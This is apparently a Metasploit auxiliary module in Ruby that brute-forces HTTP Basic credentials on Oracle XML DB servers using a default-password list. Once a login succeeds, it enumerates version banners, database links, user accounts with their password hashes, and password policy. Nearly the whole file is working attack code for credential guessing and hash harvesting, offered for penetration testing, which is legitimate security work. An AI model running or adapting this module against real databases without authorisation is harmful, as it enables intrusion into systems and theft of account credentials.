##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name'        => 'Oracle XML DB SID Discovery via Brute Force',
      'Description' => %q{
          This module attempts to retrieve the sid from the Oracle XML DB httpd server,
          utilizing Pete Finnigan's default oracle password list.
      },
      'References'  =>
        [
          [ 'URL', 'http://dsecrg.com/files/pub/pdf/Different_ways_to_guess_Oracle_database_SID_(eng).pdf' ],
          [ 'URL', 'http://www.petefinnigan.com/default/oracle_default_passwords.csv'],
        ],
      'Author'      => [ 'nebulus' ],
      'License'     => MSF_LICENSE
    )

    register_options(
        [
          OptString.new('CSVFILE', [ false, 'The file that contains a list of default accounts.', File.join(Msf::Config.install_root, 'data', 'wordlists', 'oracle_default_passwords.csv')]),
          Opt::RPORT(8080),
        ])
  end

  def run_host(ip)
    begin

    res = send_request_raw({
      'uri'     => '/oradb/PUBLIC/GLOBAL_NAME',
      'version' => '1.0',
      'method'  => 'GET'
    }, 5)
    return if not res

    if(res.code == 200)
      vprint_status("http://#{ip}:#{datastore['RPORT']}/oradb/PUBLIC/GLOBAL_NAME (#{res.code}) is not password protected.")
      return
    elsif(res.code == 403 || res.code == 401)
      print_status("http://#{ip}:#{datastore['RPORT']}/oradb/PUBLIC/GLOBAL_NAME (#{res.code})")
    end

    list = datastore['CSVFILE']
    users = []

    fd = CSV.foreach(list) do |brute|

      dbuser = brute[2].downcase
      dbpass = brute[3].downcase
      user_pass = "#{dbuser}:#{dbpass}"

      res = send_request_raw({
        'uri'     => '/oradb/PUBLIC/GLOBAL_NAME',
        'version' => '1.0',
        'method'  => 'GET',
        'headers' =>
        {
          'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
        }
      }, 10)

      if( not res )
        vprint_error("Unable to retrieve SID for #{ip}:#{datastore['RPORT']} with #{dbuser} / #{dbpass}...")
        next
      end
      if (res.code == 200)
        if (not res.body.length > 0)
        # sometimes weird bug where body doesn't have value yet
          res.body = res.bufq
        end
        sid = res.body.scan(/<GLOBAL_NAME>(\S+)<\/GLOBAL_NAME>/)[0]
        report_note(
          :host => ip,
          :proto	=> 'tcp',
          :port => datastore['RPORT'],
          :type => 'SERVICE_NAME',
          :data => sid,
          :update => :unique_data
        )
        print_good("Discovered SID: '#{sid[0]}' for host #{ip}:#{datastore['RPORT']} with #{dbuser} / #{dbpass}")
        users.push(user_pass)
      else
        vprint_error("Unable to retrieve SID for #{ip}:#{datastore['RPORT']} with #{dbuser} / #{dbpass}...")
      end
    end #fd.each

    good = false
    users.each do |user_pass|
      (u,p) = user_pass.split(':')

      # get versions
      res = send_request_raw({
        'uri'     => '/oradb/PUBLIC/PRODUCT_COMPONENT_VERSION',
        'version' => '1.1',
        'method'  => 'GET',
        'headers' =>
        {
          'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
        }
      }, -1)

      if(res)
        if(res.code == 200)
          if (not res.body.length > 0)
          # sometimes weird bug where body doesn't have value yet
            res.body = res.bufq
          end

          doc = REXML::Document.new(res.body)

          print_good("Version Information ==> as #{u}")
          doc.elements.each('PRODUCT_COMPONENT_VERSION/ROW') do |e|
            p = e.elements['PRODUCT'].get_text
            v = e.elements['VERSION'].get_text
            s = e.elements['STATUS'].get_text
            report_note(
              :host => datastore['RHOST'],
              :sname => 'xdb',
              :proto => 'tcp',
              :port => datastore['RPORT'],
              :type => 'ORA_ENUM',
              :data => "Component Version: #{p}#{v}",
              :update => :unique_data
            )
            print_good("\t#{p}\t\t#{v}\t(#{s})")

          end
        end
      end

      # More version information
      res = send_request_raw({
        'uri'     => '/oradb/PUBLIC/ALL_REGISTRY_BANNERS',
        'version' => '1.1',
        'method'  => 'GET',
        'headers' =>
        {
          'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
        }
      }, -1)

      if(res)
        if(res.code == 200)
          if (not res.body.length > 0)
          # sometimes weird bug where body doesn't have value yet
            res.body = res.bufq
          end

          doc = REXML::Document.new(res.body)

          doc.elements.each('ALL_REGISTRY_BANNERS/ROW') do |e|
            next if e.elements['BANNER'] == nil
            b = e.elements['BANNER'].get_text
            report_note(
              :host => datastore['RHOST'],
              :proto => 'tcp',
              :sname => 'xdb',
              :port => datastore['RPORT'],
              :type => 'ORA_ENUM',
              :data => "Component Version: #{b}",
              :update => :unique_data
            )
            print_good("\t#{b}")
          end
        end
      end

      # database links
      res = send_request_raw({
        'uri'     => '/oradb/PUBLIC/ALL_DB_LINKS',
        'version' => '1.1',
        'method'  => 'GET',
        'headers' =>
        {
          'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
        }
      }, -1)

      if(res)
        if(res.code == 200)
          if (not res.body.length > 0)
          # sometimes weird bug where body doesn't have value yet
            res.body = res.bufq
          end

          doc = REXML::Document.new(res.body)

          print_good("Database Link Information ==> as #{u}")
          doc.elements.each('ALL_DB_LINKS/ROW') do |e|
            next if(e.elements['HOST'] == nil or e.elements['USERNAME'] == nil or e.elements['DB_LINK'] == nil)
            h = e.elements['HOST'].get_text
            d = e.elements['DB_LINK'].get_text
            us = e.elements['USERNAME'].get_text

            sid = h.to_s.scan(/\(SID\s\=\s(\S+)\)\)\)/)[0]
            if(h.to_s.match(/^\(DESCRIPTION/) )
              h = h.to_s.scan(/\(HOST\s\=\s(\S+)\)\(/)[0]
            end

            if(sid and sid != "")
              print_good("\tLink: #{d}\t#{us}\@#{h[0]}/#{sid[0]}")
              report_note(
                :host => h[0],
                :proto => 'tcp',
                :port => datastore['RPORT'],
                :sname => 'xdb',
                :type => 'oracle_sid',
                :data => sid,
                :update => :unique_data
              )
            else
              print_good("\tLink: #{d}\t#{us}\@#{h}")
            end
          end
        end
      end


      # get users
      res = send_request_raw({
        'uri'     => '/oradb/PUBLIC/DBA_USERS',
        'version' => '1.1',
        'method'  => 'GET',
        'read_max_data' => (1024*1024*10),
        'headers' =>
        {
          'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
        }
      }, -1)

      if res and res.code == 200
        if (not res.body.length > 0)
        # sometimes weird bug where body doesn't have value yet
          res.body = res.bufq
        end

        doc = REXML::Document.new(res.body)
        print_good("Username/Hashes on #{ip}:#{datastore['RPORT']} ==> as #{u}")

        doc.elements.each('DBA_USERS/ROW') do |user|

          us = user.elements['USERNAME'].get_text
          h = user.elements['PASSWORD'].get_text
          as = user.elements['ACCOUNT_STATUS'].get_text
          print_good("\t#{us}:#{h}:#{as}")
          good = true
          if(as.to_s == "OPEN")
            report_note(
              :host => datastore['RHOST'],
              :proto => 'tcp',
              :sname => 'xdb',
              :port => datastore['RPORT'],
              :type => 'ORA_ENUM',
              :data => "Active Account #{u}:#{h}:#{as}",
              :update => :unique_data
            )
          else
            report_note(
              :host => datastore['RHOST'],
              :proto => 'tcp',
              :sname => 'xdb',
              :port => datastore['RPORT'],
              :type => 'ORA_ENUM',
              :data => "Disabled Account #{u}:#{h}:#{as}",
              :update => :unique_data
            )
          end
        end
      end

      # get password information
      res = send_request_raw({
        'uri'     => '/oradb/PUBLIC/USER_PASSWORD_LIMITS',
        'version' => '1.1',
        'method'  => 'GET',
        'read_max_data' => (1024*1024*10),
        'headers' =>
        {
          'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
        }
      }, -1)

      if res and res.code == 200
        if (not res.body.length > 0)
        # sometimes weird bug where body doesn't have value yet
          res.body = res.bufq
        end

        doc = REXML::Document.new(res.body)

        print_good("Password Policy ==> as #{u}")
        fla=plit=pgt=prt=prm=plot=''
        doc.elements.each('USER_PASSWORD_LIMITS/ROW') do |e|
          next if e.elements['RESOURCE_NAME'] == nil

          case
            when(e.elements['RESOURCE_NAME'].get_text == 'FAILED_LOGIN_ATTEMPTS')
              fla = e.elements['LIMIT'].get_text
            when(e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_LIFE_TIME')
              plit = e.elements['LIMIT'].get_text
            when(e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_REUSE_TIME')
              prt = e.elements['LIMIT'].get_text
            when(e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_REUSE_MAX')
              prm = e.elements['LIMIT'].get_text
            when(e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_LOCK_TIME')
              plot = e.elements['LIMIT'].get_text
            when(e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_GRACE_TIME')
              pgt = e.elements['LIMIT'].get_text
          end
        end

        print_good(
          "\tFailed Login Attempts: #{fla}\n\t" +
          "Password Life Time: #{plit}\n\t" +
          "Password Reuse Time: #{prt}\n\t" +
          "Password Reuse Max: #{prm}\n\t" +
          "Password Lock Time: #{plot}\n\t" +
          "Password Grace Time: #{pgt}"
        )
        report_note(
          :host => datastore['RHOST'],
          :proto => 'tcp',
          :sname => 'xdb',
          :port => datastore['RPORT'],
          :type => 'ORA_ENUM',
          :data => "Password Maximum Reuse Time: #{prm}",
          :update => :unique_data
        )
        report_note(
          :host => datastore['RHOST'],
          :proto => 'tcp',
          :sname => 'xdb',
          :port => datastore['RPORT'],
          :type => 'ORA_ENUM',
          :data => "Password Reuse Time: #{prt}",
          :update => :unique_data
        )
        report_note(
          :host => datastore['RHOST'],
          :proto => 'tcp',
          :sname => 'xdb',
          :port => datastore['RPORT'],
          :type => 'ORA_ENUM',
          :data => "Password Life Time: #{plit}",
          :update => :unique_data
        )
        report_note(
          :host => datastore['RHOST'],
          :proto => 'tcp',
          :sname => 'xdb',
          :port => datastore['RPORT'],
          :type => 'ORA_ENUM',
          :data => "Account Fail Logins Permitted: #{fla}",
          :update => :unique_data
        )
        report_note(
          :host => datastore['RHOST'],
          :proto => 'tcp',
          :sname => 'xdb',
          :port => datastore['RPORT'],
          :type => 'ORA_ENUM',
          :data => "Account Lockout Time: #{plot}",
          :update => :unique_data
        )
        report_note(
          :host => datastore['RHOST'],
          :proto => 'tcp',
          :sname => 'xdb',
          :port => datastore['RPORT'],
          :type => 'ORA_ENUM',
          :data => "Account Password Grace Time: #{pgt}",
          :update => :unique_data
        )
      end

      break if good
    end # users.each
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
    rescue ::Timeout::Error, ::Errno::EPIPE
    end
  end
end
